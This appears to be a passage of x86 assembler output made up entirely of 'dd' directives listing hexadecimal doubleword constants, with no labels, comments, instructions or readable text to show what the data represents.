		dd 0C45D00C6h, 5EB9F1DDh, 0FA012737h, 0FF66A503h, 40801F62h
		dd 6C6F0DC5h, 1602465Ah, 6E8C64A6h, 0F0204BD1h,	0A62F0h
		dd 109A2253h, 7BE418A5h, 25297800h, 675F7557h, 0C8AA3061h
		dd 89F8F630h, 0D23A390Ch, 369166h, 74E84346h, 0CD9781B7h
		dd 0AAE11C60h, 462BF45h, 0EBC7BA83h, 1E14908Ah,	0DE60D270h
		dd 0F6ADFA41h, 48A5014Dh, 5405DD4Bh, 0C3F07A9Eh, 0CF2A03E7h
		dd 4E6F3B24h, 0FAA80E8Bh, 4650DD3Ch, 9300EE40h,	968D3435h
		dd 315380Dh, 4D08F387h,	0B938C66Eh, 808BBCC7h, 3080F241h
		dd 67C5036h, 0C5691DA6h, 9A009999h, 0E81437A7h,	0B7CA85h
		dd 408F9E0Ch, 0EC295E1Dh, 0F009776h, 56B55068h,	0C09AFEEh
		dd 0AD67A0BDh, 70051469h, 37207944h, 0D45CB81Ch, 0C1C01246h
		dd 43E0089h, 5630FBF1h,	28003C54h, 0FFCC7E31h, 1DC60783h
		dd 2F63D4h, 0DCA6A077h,	0E9C16D25h, 0B30B361Dh,	8082BCFBh
		dd 664C2165h, 86E5F0A6h, 0B1FD8200h, 92E415E7h,	0D16A0044h
		dd 0BC460770h, 1A0D7FD6h, 0F18BE9C7h, 680E4C40h, 0C148619Ah
		dd 302C74DCh, 4C007140h, 0EC8291F0h, 5F98BBh, 7F95B0EDh
		dd 7A58371Ch, 0CED4CB03h, 0D8BD3AF9h, 0C766C6A6h, 0AB2359h
		dd 49F70CD1h, 0E26BFA00h, 0D925F25Bh, 0D0A503DDh, 17BBA839h
		dd 90801204h, 5CCC982Eh, 357012Ah, 4A3284C4h, 36E0C27Eh
		dd 51244F7Ah, 0DC0A3D9Fh, 6842804Ch, 0F66090EDh, 70D3498Dh
		dd 37A28500h, 23ECD25Bh, 0CA882900h, 5FDC90D0h,	1E337462h
		dd 8041F7BBh, 0D11D0701h
		dd 5491EAC4h, 0A5C8E005h, 0F649DC40h, 98B2F7E2h, 61D76072h
		dd 6A5DFD8h, 0F868730Eh, 0A472A0C2h, 0C04323Bh,	0CEA72E7Fh
		dd 2D000B41h, 0DBC8FBA9h, 5A819Ah, 32F86036h, 0BCC629ABh
		dd 0EED16760h, 0F8D566ACh, 0D94484C1h, 297D0090h, 17D423FDh
		dd 811F36F1h, 37D61FBAh, 1BF3C30h, 3432EDE4h, 0B4EA8C00h
		dd 0CCC4937Fh, 52812100h, 0AC79CEB5h, 164E01E2h, 8465A701h
		dd 0E0882070h, 13B87688h, 0BE66231Fh, 0B601951Dh, 99160561h
		dd 7F0B54E8h, 8DE72495h, 254240B4h, 46014F8Bh, 0E18374F4h
		dd 0EE8C520h, 8029002Ch, 57BA2769h, 0F90ADE19h,	90D947E0h
		dd 7423E692h, 921DB029h, 0DD94002Dh, 2E316707h,	8000E327h
		dd 58A5ADC4h, 187B83E6h, 41CAA682h, 44001DD2h, 85EDE37Eh
		dd 7CE90B97h, 25550205h, 6DE45174h, 0B9FBE760h,	1F030D7Fh
		dd 0FA453673h, 0B110980Ah, 2DE01591h, 481EA433h, 2046139Dh
		dd 1AC576E8h, 7981A8A8h, 59C0D001h, 0CDD911A6h,	26DB4E8h
		dd 0D1FEC664h, 0D8A0DE62h, 263281E3h, 631638h, 0E49C1E34h
		dd 4C6E23Fh, 0D8442C70h, 213889EDh, 8680E01Fh, 0EB502707h
		dd 10392F4Bh, 3826170Ch, 0C5018E6Fh, 1FCA7247h,	7502244h
		dd 16DAEE57h, 159BEA53h, 0CCC56E51h, 0F95D6002h, 0BC06986h
		dd 2F0108ECh, 7180CCF7h, 0C7C368h, 312D0D29h, 0D7B32806h
		dd 5794102h, 9345E0B2h,	3627E08Ch, 0E0EB4C25h, 0EFC6D81h
		dd 0E80BE1CEh, 920075A6h, 20C29573h, 3748B55h, 0ED502E7Eh
		dd 818CCB88h, 1C9D8D8h,	0C18FCFBFh, 38005921h, 0DD0BC320h
		dd 0C9714960h, 0FA81656h, 0BE2CA331h, 3013F42Bh, 5F2911E0h
		dd 0E2102316h, 7A8FB803h, 0BD28C8B2h, 6D3600D7h, 0D72B8D8h
		dd 2A2CC9B3h, 0C0CDCACh, 0F3F142h, 0F7381CBBh, 7EC324A9h
		dd 49478207h, 9DE12EEEh, 6EFD4130h, 79E848h, 0F0C5A1C6h
		dd 8C4397BAh, 895C3900h, 0FCBDA631h, 8FD40C3Bh,	6731DC6Eh
		dd 4A5F000h, 624596C4h,	36D0FDE9h, 280E2A93h, 7203072Ch
		dd 8009DBADh, 38FD1C13h, 0F145D10Eh, 8024C01Fh,	0E790F5C7h
		dd 8085C403h, 5A38A840h, 0B45CF873h, 952F0140h,	0BD12BBBCh
		dd 0F5003C32h, 21F96CF3h, 0C7982DE2h, 0B15FA604h, 70C42CCBh
		dd 4054140Dh, 35BB9041h, 0E5F6E8D0h, 9434B2C0h,	603001ACh
		dd 469B3DCh, 0ADC3BC81h, 49DFB208h, 95DAF301h, 402351A9h
		dd 56397900h, 9A36E1D0h, 486A1F13h, 0A55D3A05h,	9C058CC3h
		dd 610324A2h, 8E4BCF11h, 51B7C898h, 14321A03h, 0D99AF497h
		dd 0B008A6BBh, 6F90C809h, 7F6080EFh, 0C9C5134h,	6DEAD92Eh
		dd 4031E051h, 0EB5731A4h, 0A10824h, 7C5662C1h, 3170B817h
		dd 30CEE012h, 762A3C42h, 7CE467h, 0A04EC0A9h, 172DD482h
		dd 4680E8B1h, 9C1CB8E3h, 83A31ED3h, 40C45F42h, 11488B22h
		dd 746ECDC1h, 0B7618089h, 0E6EDB92h, 85D9727Bh,	23837DDEh
		dd 9744C03Ah, 7357D6A0h, 177D000h, 0E0044ACAh, 5C60A459h
		dd 74220CDCh, 5601A080h, 1B82B700h, 34A2CB49h, 24C4EA29h
		dd 40D4E181h, 487207Ch,	0BFE0B100h, 9FC25B2Ah, 48E6170Eh
		dd 0A09814E8h, 3844738h, 0C8E7C7AEh, 0C04C364Ch, 16988334h
		dd 20A9C07Bh, 90C25467h, 0F1E8F9B3h, 0B9F602A4h, 0D4792F22h
		dd 1B6943E0h, 740E2090h, 80DD09B5h, 0F61E162Bh,	0B0C49033h
		dd 1964448h, 21B9F707h,	0E8C48EC4h, 1DF48Ch, 4F44770Ah
		dd 86BCED56h, 68C62A18h, 271339h, 506ED537h, 9B7C0642h
		dd 0B0F46900h, 0D83A0934h, 4EA103F5h, 2FBD0B14h, 66EE9000h
		dd 0E42D0E5Ch, 0AEC91CAAh, 0E167CBE7h, 7B9C4410h, 9AC43203h
		dd 0E84AF769h, 60E6E216h, 94FF2164h, 5803367Bh,	357C845Ah
		dd 1450021Dh, 4668B43Dh, 3BE5C60h, 3020B490h, 0E480574h
		dd 8C025A36h, 2A73EEB4h, 0BB0F3400h, 74A5D662h,	8DB21E79h
		dd 18F43AB9h, 7968E6F0h, 8AE05DF6h, 0C012AB0Ah,	0F180CCD8h
		dd 5C62212Ah, 18CB0359h, 0E75D66D7h, 0A21B88F0h, 2F569000h
		dd 0C1787CD0h, 68991A91h, 2CC081C2h, 0A8A4CC5Ah, 296D000h
		dd 47A07112h, 25BB2C4Eh, 1EDA1F48h, 8E1640B4h, 0F438D141h
		dd 27CD8727h, 260AD14h,	972518h, 0B9B5ED5Fh, 2E77544Dh
		dd 0ACD252h, 0BE0745F2h, 6CB076h, 0E5A5710h, 56C135B3h
		dd 1E652509h, 0C3A4C8BDh, 0AD973EE8h, 6284BC2Eh, 615F4BCBh
		dd 86304997h, 55780970h, 84022051h, 14406739h, 0EEF488B0h
		dd 50E4F20Fh, 0B6EB2052h, 9009130Ch, 0A00398CCh, 17D3CCh
		dd 3D93C6FEh, 0F4E09592h, 6E480C77h, 0AC138070h, 127150h
		dd 2279016Dh, 0D058F99Ch, 0D963D330h, 0C3F8D1h,	8A43B85Fh
		dd 0A9DF951Bh, 1630D000h, 0F1765DB2h, 0C9220101h, 80F7C782h
		dd 254430C0h, 0EC892A00h, 54363448h, 1899CCh, 32A15A4Ah
		dd 0F71E39D3h, 1C401ABBh, 5F82E990h, 913405EBh,	104BCE22h
		dd 601CCF4h, 1A7EB277h,	1FB848E0h, 0B417C3B0h, 0FA0E2BE6h
		dd 407B4C56h, 0D26D1802h, 74482970h, 0E29A1F00h, 2C496620h
		dd 8B360F3Ah, 8EDD32DCh, 1452523h, 98DCC445h, 0A6309748h
		dd 0E8DA11F4h, 6F710062h, 0D5271C78h, 2600E490h, 383B154Dh
		dd 6052DCA5h, 91FE60B4h, 0ED05FB04h, 0DFEB69FAh, 0C9987CD2h
		dd 53D042D8h, 0AA6E224Dh, 19C5852Ch, 0B556B700h, 60E1C64Ah
		dd 0B27CC1E0h, 0CE00678Ch, 0D3FBFD88h, 264407D2h, 8EF8EED4h
		dd 9D803177h, 0FB69C4FEh, 249EB8E6h, 5C1B4E40h,	23DE00A5h
		dd 0B5D4A685h, 0EF001AA1h, 0DDC13FDBh, 0A09A69CDh, 981311B4h
		dd 0DCC09CCh, 8048E868h, 0CC993ADCh, 3B94F502h,	1F08C05Ah
		dd 884F58ECh, 0C99128C3h, 0E8F313E8h, 6C783C72h, 6480A09h
		dd 6748C8C6h, 0A4F0009Ah, 0E6E3039Ch, 8D093A9Bh, 44276283h
		dd 6DF00E0Ch, 0AA40DF31h, 96872C0Dh, 0ED2280B0h, 0B03700E1h
		dd 0CCF49CAFh, 0B7139545h, 2820E062h, 0CBA221h,	0F72646ABh
		dd 9D15D173h, 94558226h, 37AD0801h, 1840D228h, 908152B5h
		dd 6C922447h, 0F1880BF4h, 25362080h, 0DC99ECD9h, 0C4FD0880h
		dd 0FC3A6F6Eh, 0CC2A0982h, 0C4833651h, 0B3A02F9Dh, 0B67269D5h
		dd 0D484E228h, 65A5BF00h, 9A8D9E49h, 0E03C1677h, 69F8212Dh
		dd 0F7E06EB7h, 5AD49010h, 0E1FC037Ch, 4026C905h, 0D903E8D1h
		dd 0E5CEDFB8h, 0F671E100h, 1DBEC447h, 0FA0A9C48h, 0D29A9F02h
		dd 0C8D12CD5h, 9CF0F907h, 55A15440h, 0FA401DC6h, 20BF177Eh
		dd 3E270294h, 9BC37D0Eh, 1F196025h, 1E7F5674h, 28A80AF2h
		dd 52D0179Ch, 35F03117h, 0DB227098h, 6102CC74h,	2DC2E3E1h
		dd 795360E9h, 699509A3h, 0C448C40Fh, 960A4E3Bh,	0BC6A41DCh
		dd 0DD34EC82h, 4C386444h, 618014C6h, 92390DDAh,	12C37701h
		dd 8FF79997h, 60E18120h, 73D43162h, 3407C0ABh, 398D07Eh
		dd 0ED3BEC50h, 917C01AAh, 0FB4101F9h, 2EE048C6h, 98AFBA00h
		dd 0B8C78996h, 716C138Ch, 1D9C20C6h, 0C505D854h, 9210BDDCh
		dd 9AC758C1h, 0EB803068h, 79FDA24Dh, 0D971647Bh, 7FAA7D00h
		dd 0A025F47Bh, 0E3880001h, 0BA34409Eh, 0E891ECC3h, 0A29C2380h
		dd 3E646A3Eh, 0D1F911Ah, 0B580805Eh, 1429BCDCh,	0DA988D64h
		dd 740CCh, 0C6896392h, 62805691h, 181A4B03h, 80746431h
		dd 27B1D149h, 20A0E07Ch, 18C32A5Dh, 27E5BD00h, 2409E27Ah
		dd 32570019h, 0EF8842F6h, 0EE4AC779h, 0B017C023h, 3C545D47h
		dd 881F50D5h, 9CA9ECh, 0E2656628h, 4B0E8E4Ah, 8915E8BCh
		dd 0C69C840Eh, 0E4E6C444h
		dd 209967D0h, 76D6DD00h, 14BC7BFh, 98FF9482h, 0A8ACED68h
		dd 0DB44FC21h, 0D6F0037h, 4EFEF285h, 740077DEh,	0F003906Eh
		dd 1297B17h, 0E101CEC8h, 20D10967h, 7601D094h, 603C50A8h
		dd 0C0202AFCh, 0B60E3BFh, 0CA0718EDh, 0C7B1D014h, 2742F522h
		dd 2046E0h, 4745562Bh, 852EFC90h, 2D7464h, 0A46CE2D4h
		dd 80609999h, 0DA5D1DBDh, 1E003881h, 28046C93h,	54C03D6Eh
		dd 1CF484CBh, 64AA05h, 22D8387Fh, 0E0021E4h, 0F70133BDh
		dd 5160CA0h, 36287718h,	54A41466h, 304D1012h, 0DC583AB0h
		dd 9EB2F500h, 35A0EB7Eh, 0ACAA00C2h, 3E2D2266h,	14984FE2h
		dd 0F30017E4h, 82373B98h, 1B57ACh, 48ED472Fh, 4EA8B73Eh
		dd 0EF008492h, 534B1DBAh, 16795AD5h, 116ED54h, 4EDC9754h
		dd 55C45061h, 89DE5FE0h, 92EB600h, 504D6031h, 98B5067h
		dd 0E929E659h, 0A8808834h, 0DE29BCA0h, 87002858h, 9F84947h
		dd 9FBE893h, 0A6D828ADh, 7F639CE8h, 6AB3100h, 4EAEF817h
		dd 5758Ah, 0BCC27B76h, 0AF164615h, 77023403h, 982F7CCEh
		dd 3567579Ch, 3069D6C2h, 71FFDA0h, 0F22EAD00h, 5A3DA2BAh
		dd 0CE521D32h, 7054C15Eh, 0EC39F99Bh, 470BC47Dh, 98360811h
		dd 21F14D8h, 827A195Eh,	1320D767h, 0CD02E9h, 66B7B4D2h
		dd 0A7D00CC5h, 79EC7100h, 0F4686FF0h, 0D9CD12DCh, 7308D05Fh
		dd 0C3010ECEh, 0BA8AAA0Bh, 0D863902Ah, 308CC500h, 29DC5F95h
		dd 0CF0061F8h, 0ECF80290h, 9E7DF23h, 4D4CC00Dh,	66E94898h
		dd 1D378012h, 4161EC00h, 25CD4B0h, 7B36DD9Ah, 21E25520h
		dd 275B0864h, 8BFCF600h, 26473658h, 4FBCC7F8h, 5FAA5180h
		dd 2A0B6405h, 807A4AD7h, 0B1B03D3Dh, 36190258h,	75068CEh
		dd 1C825462h, 0C42BE1B3h, 0B7FB0004h, 0B072E715h, 0E012FC3h
		dd 3ECEA693h, 142C73E3h, 0FD90480h, 447D9BF9h, 24BA1C09h
		dd 216D8D3h, 6EEE0D46h,	5464E2D8h, 9B0BCD98h, 10AB0F68h
		dd 9CFB32Ch, 0E8D93D31h, 8066D412h, 945F5C00h, 0F4488B11h
		dd 724702B1h, 0A413CC8h, 10709054h, 207C006Ch, 0B1804172h
		dd 1D003C32h, 8909C91h,	7E3536D1h, 58180050h, 7BE227A6h
		dd 8C0C2ECCh, 51D50B68h, 69E12098h, 5003FEF0h, 46BD3959h
		dd 3FA2E81Ah, 279B0002h, 9391A00Ah, 0E5794531h,	8FCA3D0Bh
		dd 0C7AC8092h, 10E2680h, 2C9F27B3h, 7262CF4Bh, 508800B8h
		dd 0C7A8740Ch, 59B31D26h, 3C6DC28Ah, 24E01FD5h,	14095808h
		dd 44F857F5h, 11C100FCh, 0EE1A3506h, 0AD01BF28h, 398D3390h
		dd 4017DBEBh, 0F86467A1h, 0A470CE0Fh, 5FF4017h,	0B625522h
		dd 0C02FC758h, 0F35A7448h, 5E16F2FEh, 6400DF3Eh, 2FD85025h
		dd 44EC90F4h, 2C0083C1h, 0B86A2461h, 17035AA0h,	82773ECh
		dd 7F8490ECh, 48E4E1DBh, 735EE81h, 37477420h, 0D771023h
		dd 68004222h, 92ED5A96h, 1D767390h, 674CDCF1h, 70F02091h
		dd 0A72418B8h, 7E9FE43Dh, 73CA9540h, 0E22F83h, 84BF373Ah
		dd 90586122h, 0F8A8564Ah, 6329B307h, 0D480592Eh, 3A83C82h
		dd 280E3F7Ch, 2F54510Bh, 0CC5F220Fh, 0C0784A47h, 165CD169h
		dd 9DBCA6Eh, 2C11D770h,	77818032h, 0AA2709DEh, 5487F30h
		dd 963D36EBh, 0BF7800D2h, 5865B7B6h, 0FC17DD1Fh, 0F21D8681h
		dd 0D9430EB9h, 0D23A891Eh, 88072872h, 515E22FFh, 0DC0D44B4h
		dd 2C13ADC3h, 0E808BDC6h, 161C8374h, 90DFB5EEh,	50124B77h
		dd 3D0C0602h, 0EC7A6D7h, 0F8C19360h, 0CD000873h, 0B0AAD8A2h
		dd 13A0FEEBh, 20A72317h, 0E14F9EA8h, 5A8CA50Fh,	4E06E1E0h
		dd 3DD07FDAh, 90C00032h, 0D880C439h, 0FC94FDE3h, 5B005CA9h
		dd 312109CCh, 0D6B73B05h, 0FB4F9900h, 4AB87C63h, 65288A01h
		dd 9DBFC630h, 0B8185C60h, 0BBCF264Ch, 0C4ED043Ch, 1C8A2E9h
		dd 0DB8DFA1Eh, 0D2F1D90Ch, 114C71ACh, 23E625C3h, 0F0064330h
		dd 0A80476h, 2CF9C001h,	0FDFD4FDh, 0F45EEB00h, 9C49A5A0h
		dd 5DAA1604h, 11B00015h, 9F1AC174h, 4441C65Eh, 19709752h
		dd 3E837720h, 0D9810C6Ch, 6E5F4210h, 17F3DC03h,	0C6318F09h
		dd 504C194Eh, 0C7CB471h, 0D0AADA87h, 2F2309Ch, 0BC33D300h
		dd 0CA90AB50h, 2C7500A1h, 34A682CDh, 9CB07181h,	0BA769A14h
		dd 302426F2h, 4034804Fh, 0B12F1C74h, 21B9E5Ch, 0A0EFE93Ch
		dd 9F808CD9h, 0E1820F4Eh, 49A6A048h, 0F69400CCh, 9E873119h
		dd 5B01EB5Fh, 7FEA04CFh, 0E078AFE2h, 5869EF00h,	50F86EFEh
		dd 5404A9FAh, 87194529h, 0F6FB38C0h, 62EE160Ah,	540420CCh
		dd 0AA03AF18h, 3C6E93FEh, 7A13C078h, 13574DEh, 69C9321Eh
		dd 395BE057h, 12492EC0h, 67005A24h, 0EFEC1F58h,	0F71103BFh
		dd 0C0A6FDC3h, 64132900h, 42C19E3Ah, 0B83D606Bh, 821ECE84h
		dd 91908602h, 48419A68h, 0F192F83Ch, 11804EFDh,	0BFED56B6h
		dd 0A44C0196h, 42CEC190h, 0B8CC34F5h, 25B0007h,	0ADD42F0Fh
		dd 160F479Bh, 21901BA1h, 386A220Bh, 0B034BDD0h,	0EC353AA4h
		dd 40F8C0A4h, 6346556Ch, 73EE6200h, 1FC992E6h, 843C945Ah
		dd 87294D69h, 46891F74h, 6DE6A449h, 58280070h, 8636E13Bh
		dd 78A90084h, 6903115Ch, 633EB1B9h, 0D0304EE2h,	0EB04C447h
		dd 0BF039026h, 6693D919h, 88BE2E1h, 20E0F4h, 13A6CA01h
		dd 0AF59F730h, 40D492Ch, 0CEDA8561h, 14D6C20h, 6FAD4856h
		dd 0C8F340F0h, 0D701A3E6h, 91D427B8h, 3022C036h, 2FED6200h
		dd 3B0DE8F0h, 678BBF07h, 0BAB0C46h, 3A94C86Ch, 33511652h
		dd 5F5E0087h, 9456E920h, 2A89FE00h, 0D2E1F0BCh,	93F7123Ch
		dd 8B28C845h, 0ADC1211Dh, 4B1A55C3h, 0E1D82218h, 7CE8D8A0h
		dd 23970800h, 195A2AEAh, 2E6C0C84h, 0F9D971D2h,	93C87000h
		dd 0E6DB3A0Ch, 5819C0DFh, 0A0B6272Dh, 7F008873h, 0FFCBE5B9h
		dd 143D2B26h, 0D81EFEF8h, 0CF3CC10Fh, 27EA8CC2h, 2E4FCC70h
		dd 44EC6020h, 84201226h, 98B20Ch, 6F236C1Fh, 483CA353h
		dd 4C04956Bh, 0C307A5B3h, 0DF88C857h, 6378459Fh, 96BFB73Ch
		dd 6D01E6F2h, 61870935h, 0AEFF70h, 0CDED2D1Bh, 1845071Ah
		dd 14D79000h, 0E67E8F53h, 0D6973DB9h, 1C57A58Ch, 7D1D5130h
		dd 40375DCDh, 0C3D1C3h,	3F6D0619h, 5E1654E4h, 1DCF1B3Ah
		dd 538094D3h, 0CCDC4ABAh, 98375069h, 0D020A0A6h, 0CCEF88CAh
		dd 20FFB303h, 3B60892Dh, 6100F6A1h, 0F75721BCh,	9B1EFD0Eh
		dd 5400100Bh, 3F847A3Ah, 5FB0307Bh, 95E60331h, 4EB5BC05h
		dd 0BC6EBC3h, 0A4D4450h, 0D6F68F73h, 0BD02B879h, 4A042AF4h
		dd 8EBFE0B4h, 8403EFDh,	660DBF01h, 8058C822h, 0CC6802D0h
		dd 537D9177h, 0C62180E0h, 67CCEB01h, 0A7D17DDBh, 0CDA41047h
		dd 83BC9947h, 10D0C684h, 0CB307DACh, 162F29AFh,	0E286001Ch
		dd 154E20F0h, 0F00558Dh, 9E2EEE6Fh, 99BF38h, 1BCF2F8Ah
		dd 0FFBE4DE3h, 0C0586260h, 398821Dh, 0B636AAE5h, 4CF8EDEBh
		dd 21C7AF9Bh, 0CCD1D116h, 0AC4887FEh, 99DA0035h, 62E34357h
		dd 0E9003A2Ch, 0FCF2C652h, 0F13E0E5Dh, 0BBB996h, 0C94D4931h
		dd 1F005A13h, 7CC2AFA3h, 172EB4h, 0E363397h, 0ED151DB8h
		dd 0FAB3C500h, 2EBC0D4Ch, 4370E7DDh, 7679CE48h,	0D5A07BC0h
		dd 863001ACh, 832019E4h, 4A5100B2h, 93D75F3Bh, 1800CC3Ch
		dd 40F2D470h, 1BF85DB3h, 997D3EBDh, 1D8DC0E5h, 471D881Fh
		dd 6640E8FCh, 309EFBC2h, 0EE5B28A1h, 53BA00B8h,	80973E86h
		dd 7D0AB10Ch, 703F8555h, 353D803h, 7DE90AAh, 731EC69h
		dd 67E13A43h, 0F2334038h
		dd 0C22AD144h, 60BA85Ah, 80429523h, 0DD829C36h,	0F5F41F21h
		dd 33FD47AAh, 0FE4DD128h, 0AB318A61h, 378FF4ACh, 207DC005h
		dd 0EA13CB2h, 0F75D7A8Dh, 20C229C5h, 0D7ACE3E8h, 0ABD830C0h
		dd 0F28A6FCEh, 87722499h, 0D9734074h, 55023E83h, 0DA230F42h
		dd 9C3880FFh, 0B1F3B28h, 2CA83234h, 0F296F880h,	901B27Bh
		dd 9506A2A1h, 4022517Dh, 4C79341Fh, 1E68849Eh, 3CA02E00h
		dd 3F0E5455h, 5445F066h, 6E649Ch, 0F7EE917Dh, 0E3A2E133h
		dd 0BD041679h, 0C52E5A40h, 738088h, 0C169ED44h,	0B6A1E9F9h
		dd 0BEDAC601h, 9BE57F21h, 0BFF8C0EFh, 8A0F00A0h, 0D4D60C9h
		dd 0C80A34BAh, 84879CE8h, 3506AE80h, 63B6ADh, 52B4B86Eh
		dd 0A9D3FCFDh, 0DDCF5703h, 0CFC199BEh, 0BD8A4030h, 4E263EA4h
		dd 0C9513900h, 0D354D7Eh, 61A32F00h, 4060CCABh,	782EB817h
		dd 58AD50D2h, 0FD13D62h, 907D3100h, 0A1EB3CA5h,	1A809899h
		dd 0A8E67A9Ah, 21203D28h, 43E5EF01h, 60347386h,	36B8A25Fh
		dd 78B44000h, 0F452F857h, 84C70E3Dh, 0C96EBF2Ch, 0D9C63680h
		dd 3E4C0B97h, 54E880ACh, 89C16Ah, 49AC3A0Fh, 5EA7D447h
		dd 0AB0356F8h, 0C8A5EC11h, 0F8311595h, 100F863h, 0F3AA0C5Bh
		dd 4009157h, 0EE721F8Eh, 4B1929h, 0C83DE1A7h, 0A40FF2ECh
		dd 7B1CFF50h, 8F18943Bh, 0E1B24A96h, 130A3A8Dh,	2EC27ECh
		dd 0AFF6C021h, 1444E57Dh, 4038A6F0h, 4430F622h,	0D0BB49D3h
		dd 0C95E0692h, 0A1703E68h, 427EB217h, 9C47661Eh, 7FC1DB72h
		dd 0A6D42329h, 71DFAB1h, 2AB6C14Dh, 97279038h, 0D0906541h
		dd 4CFD1AC4h, 3A9160CCh, 0A13B3E61h, 0B8F72D03h, 2A8A795Eh
		dd 3FA6F08Eh, 32E631E2h, 47B61100h, 5A82ED18h, 0E5B02AA1h
		dd 30BF00E0h, 508622ABh, 8D00C4A6h, 0C8A82BE6h,	3B8283A0h
		dd 7580B990h, 677B5E5Dh, 0C26407Dh, 3B1C54h, 0BB28A769h
		dd 1848FE52h, 59DC5B4Eh, 81C07A3Eh, 66D985F1h, 7398001Ah
		dd 5874BB8Fh, 0F401F76Eh, 657547CEh, 1C42E4D0h,	0FC20257Dh
		dd 0F571079Eh, 91278302h, 0C1805467h, 24F8C7h, 22C63D50h
		dd 0F37C4FF6h, 1B421602h, 0A053ABE2h, 8F645DD0h, 0B2F200C4h
		dd 0D7C367C7h, 0E90A9827h, 0A84EFB39h, 0D8367080h, 7348B8h
		dd 883FBE14h, 0CE960AD0h, 0CFCD100h, 0E429BFF7h, 1422F0FDh
		dd 80A1D2A6h, 9B4D8205h, 43CC2048h, 2C18E2DBh, 83D16289h
		dd 903ECAFh, 48E73235h,	8A74F400h, 55007036h, 9199A780h
		dd 40E2429h, 253C3DFFh,	0C8D4C0D0h, 363E2E1Fh, 0D6871827h
		dd 0D93B51h, 0B69AAC6Eh, 8E0783FDh, 1EF18000h, 3F5F0168h
		dd 0B1A0A81Fh, 0FDA5001Ch, 4734AF02h, 0BC05CCE8h, 0F7974F62h
		dd 6D28D030h, 360C00C9h, 56446054h, 451F0DD2h, 1109D6CAh
		dd 9538071Dh, 79360AA0h, 59840041h, 0BCCB4F90h,	651BF381h
		dd 91A1512Ch, 8854B6FDh, 0D47334C0h, 20AD5CFFh,	2C70A809h
		dd 5954C10h, 944F8F1Eh,	7FB89BC4h, 2BC543C0h, 0A1292E23h
		dd 0ED120194h, 80A5ABBCh, 0FF28C361h, 9BC7C4h, 125B6D1Ah
		dd 6A00966h, 4016AB00h,	2F6502ECh, 0C2C05E50h, 8C833458h
		dd 10073796h, 28D340ACh, 0CD9F9D70h, 4CBC00BDh,	16E410CAh
		dd 28DD897Ah, 9E7EF300h, 3A72D5Ah, 25431BABh, 217E611Dh
		dd 44038B94h, 98CC22B2h, 9969BAh, 0E763BC34h, 0CD70A052h
		dd 0D0AD7903h, 1F494Dh,	27CE5481h, 96938AE0h, 4600D6F6h
		dd 0EC864ED3h, 9EF6E6h,	4721A26h, 0F792E7E0h, 77304C06h
		dd 0C40480Ch, 90EEA089h, 0B3DCD89h, 16771E9Ah, 0FE2F21F1h
		dd 0F47B00D2h, 834C886Eh, 0C8590046h, 0F568CF9Ah, 0C493064Eh
		dd 999149A8h, 9F4BD600h, 0AE68E9C3h, 0B14C008Ah, 6460B622h
		dd 2558EEABh, 28F0064h,	6E29ECA7h, 3E3FE8A0h, 0C40E9895h
		dd 19E05310h, 0A45EC7EFh, 0FC226118h, 165889h, 1E296532h
		dd 970C08F6h, 0D2FA4A50h, 0A227319h, 81202329h,	4991182Dh
		dd 0D0139995h, 3B93BC01h, 25EC145Dh, 0FCDC8h, 5697D185h
		dd 9A3D9966h, 1D1FDE0Ah, 0EC808C77h, 0B9B86101h, 8FB61FD9h
		dd 2D87000Ch, 7C363B41h, 8D741401h, 5BF6C745h, 6F89C50h
		dd 4DAA00DFh, 7FF3A07Dh, 2E00C007h, 811E2202h, 3686D6Bh
		dd 51B5AA69h, 0CDC8E2C3h, 0B9288E0Eh, 0EE3188DDh, 995C814Ch
		dd 0D679C180h, 0C93DC362h, 0BF3D5590h, 6CF40077h, 78244369h
		dd 0E76E0382h, 7E1D1AEEh, 8CC4105h, 7EC0DAEBh, 19F91Bh
		dd 76E8525h, 0B68DDE81h, 16D7FC0Ch, 0D43166h, 5CC99F60h
		dd 15E824AEh, 4695EB02h, 40FEE2E4h, 3ABFD88Dh, 0A4B07494h
		dd 648BA0F1h, 0A91D41C0h, 18AA8Ah, 4770089Ch, 5C452209h
		dd 6FC980E7h, 3C8B302Bh, 0DCE800E7h, 6A81441Ch,	0A90054FDh
		dd 0A1360901h, 385A4C6h, 0A0B215ECh, 61447974h,	2F005524h
		dd 4020C8F6h, 76B67C3Fh, 9A1B00F4h, 22627DEFh, 8D098FBFh
		dd 24052F69h, 0E783D10Ch, 70F490D2h, 0B8380021h, 1395B491h
		dd 7B00CBDEh, 3E97A47Eh, 28CC77B6h, 0CC8C4BEh, 0A1F73BE4h
		dd 3A0303F1h, 73D5A253h, 0E852F969h, 9EB1CD4h, 0EF5D275Ah
		dd 80497404h, 60ECA11h,	6988BB00h, 1729E785h, 91FD602Eh
		dd 97093D46h, 7539D705h, 9982774Fh, 0F7D3418Ah,	0B200D422h
		dd 44BE7F3Bh, 0EE029873h, 137210A5h, 27CC2130h,	8CA7F65Ch
		dd 2404B3CBh, 0D1C9DCE8h, 77801A02h, 44AB9473h,	0FBE60190h
		dd 494FEABBh, 24CF1099h, 35C53EAEh, 9F264407h, 28DCA08Bh
		dd 9918ED7Dh, 4771A7F1h, 17C30145h, 1AA6097h, 62D0C0DBh
		dd 41C0950Fh, 4E1E5874h, 3E0490BCh, 31FBBDF2h, 2F41FE0Ch
		dd 0EB8980FFh, 0D64905B5h, 0D87B3B1Eh, 77E9A880h, 0AB32CBFDh
		dd 0AFF4A703h, 0D0EE8E5Fh, 486EE71Bh, 887408AAh, 225059E6h
		dd 8800F928h, 665A4A6Ch, 32E72Eh, 8CF28254h, 2D57F12Ah
		dd 2613C658h, 470378B6h, 0F8E41144h, 7D098FDh, 0BC0517B7h
		dd 5B6FCF41h, 127740E1h, 44B9A45Ah, 2D04B660h, 0FAA100F3h
		dd 7AF0A89Ch, 0CD7B72D2h, 21E05C48h, 9A1161h, 0E59C541h
		dd 0F14BD7Fh, 91533E8Ch, 0C4AAD940h, 0C4B8461Dh, 0A0F1C718h
		dd 0E8D05E71h, 2F441D52h, 0FA8AC0CFh, 2CAC656Bh, 3BB81000h
		dd 5CF61187h, 8D4306F8h, 796D1DB2h, 9130AF00h, 0AAD45A31h
		dd 0AB1F0910h, 48034659h, 74F82D2Fh, 5C581ECCh,	7A618368h
		dd 0DF828083h, 0A4F6F0CEh, 0E2E598F8h, 59AF0040h, 0D283E3F8h
		dd 28009779h, 160E6B4Eh, 4CC080DCh, 33C19CB2h, 0C7F3A292h
		dd 0D80DE7B8h, 87BDCB00h, 0C854A76Dh, 0A0DC14E6h, 0E987E477h
